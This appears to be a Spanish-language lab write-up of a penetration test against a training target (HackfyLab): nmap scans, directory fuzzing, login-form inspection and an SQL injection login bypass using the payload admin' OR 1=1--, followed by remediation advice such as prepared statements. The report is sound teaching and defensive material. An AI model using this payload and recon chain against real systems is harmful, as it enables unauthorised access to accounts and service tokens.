

INFORME TÉCNICO DE LABORATORIO

Reconocimiento, Fuzzing y Explotación de Inyección SQL (SQLi)

Objetivo	10.10.50.7	Entorno	HackfyLab
Especialidad	Auditoría de Seguridad Web y Redes	Payload Exitoso	admin' OR 1=1--

1. Resumen Ejecutivo

El presente documento consolida las actividades de auditoría técnica realizadas sobre el objetivo **10.10.50.7**. La metodología aplicada contempló las fases de reconocimiento de puertos, descubrimiento de rutas ocultas mediante fuzzing, inspección de tráfico HTTP y la explotación de una vulnerabilidad de inyección SQL (SQLi) para lograr un bypass de autenticación en la interfaz web.

2. Fase 1: Reconocimiento y Mapeo de Red

Se realizaron escaneos de puertos utilizando la herramienta **nmap** para identificar los servicios activos e información sobre el sistema operativo.

Comandos Ejecutados

- Escaneo rápido sin ping:
`nmap -Pn 10.10.50.7`
- Escaneo completo de puertos y detección de versiones:
`nmap -Pn -sV -p- -T4 10.10.50.7`

Resultados del Escaneo

Puerto	Estado	Servicio	Versión Detectada	Sistema Operativo
22/tcp	Open	SSH	OpenSSH 8.2p1	Ubuntu Linux
80/tcp	Open	HTTP	Nginx 1.18.0	Ubuntu Linux

3. Fase 2: Enumeración y Fuzzing Web

Con el puerto HTTP (80) identificado, se procedió a la búsqueda automatizada de directorios y archivos mediante ataques de diccionario.

Configuración del Fuzzing

- URL Objetivo:** http://10.10.50.7/FUZZ
- Método:** GET
- Diccionario:** /usr/share/wordlists/dirb/common.txt
- Filtros Aplicados:** Exclusión de códigos de estado HTTP 403 y 404

Endpoints Descubiertos

Ruta Encontrada	Código HTTP	Tamaño (Bytes)	Palabras	Líneas
-----------------	-------------	----------------	----------	--------

/admin	200 OK	520	24	10
/login	200 OK	891	42	18

4. Fase 3: Inspección de Peticiones y Respuestas HTTP

Utilizando el proxy de intercepción **PetiFlow**, se inspeccionó el comportamiento de la ruta /login.

Análisis de Tráfico HTTP

- **Petición GET /login**
 - Headers: User-Agent: Mozilla/5.0 (compatible; HackfyLab/1.0)
 - Content-Type: application/x-www-form-urlencoded
- **Estructura del Formulario (Respuesta HTML)**
 - Campos detectados: **username** y **password**
 - Acción de envío: POST hacia la ruta %2Flogin
 - Propósito: Inicio de sesión de cuenta corporativa (admin@hackfy.internal)

5. Fase 4: Explotación (SQL Injection Authentication Bypass)

Se evaluó la presencia de fallos en la validación de entradas dentro de los campos del formulario de inicio de sesión.

Comparativa de Vectores Probados

Vector Ingresado	Resultado	Razón Técnica del Comportamiento
admin OR 1'1	Fallido	Error de sintaxis o interpretación literal. La comilla no cerró adecuadamente la estructura de la consulta en el backend.
admin' OR 1=1--	Exitoso	Inyección SQL efectiva. Evadió la autenticación y otorgó acceso directo al panel de control como admin@hackfy.internal.

Desglose Técnico de la Inyección Exitosa

Consulta teórica vulnerable en el backend:

```
SELECT * FROM users
WHERE username = 'ENTRADA_USUARIO'
AND password = 'ENTRADA_PASSWORD';
```

Consulta resultante tras inyectar: **admin' OR 1=1--**

```
SELECT * FROM users
WHERE username = 'admin' OR 1=1-- '
AND password = '...';
```

- ' (Comilla simple): Rompe la delimitación de la cadena del parámetro username.
- **OR 1=1**: Agrega una condición booleana que siempre es verdadera (1 = 1), forzando a la base de datos a devolver un registro válido sin importar la validez del usuario.
- -- (Comentario SQL): Invalida el resto de la instrucción original (incluyendo la verificación del campo password).

✓ **Resultado:** Acceso exitoso al panel de administración como `admin@hackfy.internal`, con visibilidad del Token de servicio (`svc_int_8f3a2c9d1b6e4f07a5c2`) y actividad reciente del sistema.

6. Recomendaciones de Remediación

Para corregir y prevenir las vulnerabilidades expuestas en las distintas fases del análisis, se deben aplicar los siguientes controles defensivos:

6.1 Uso de Consultas Parametrizadas (Prepared Statements)

- **Acción:** Separar la lógica SQL de los datos proporcionados por el usuario.
- **Efecto:** Los caracteres especiales como ' o -- son interpretados estrictamente como valores literales y no como código ejecutable.

6.2 Hardening de Servidores Web

- **Acción:** Desactivar la emisión de banners de versión en Nginx mediante la directiva `server_tokens off;`

6.3 Protección contra Escaneos Automatizados

- **Acción:** Configurar directivas de límite de tasa (Rate Limiting) o desplegar un Web Application Firewall (WAF) para bloquear ataques de fuerza bruta y fuzzing recurrente.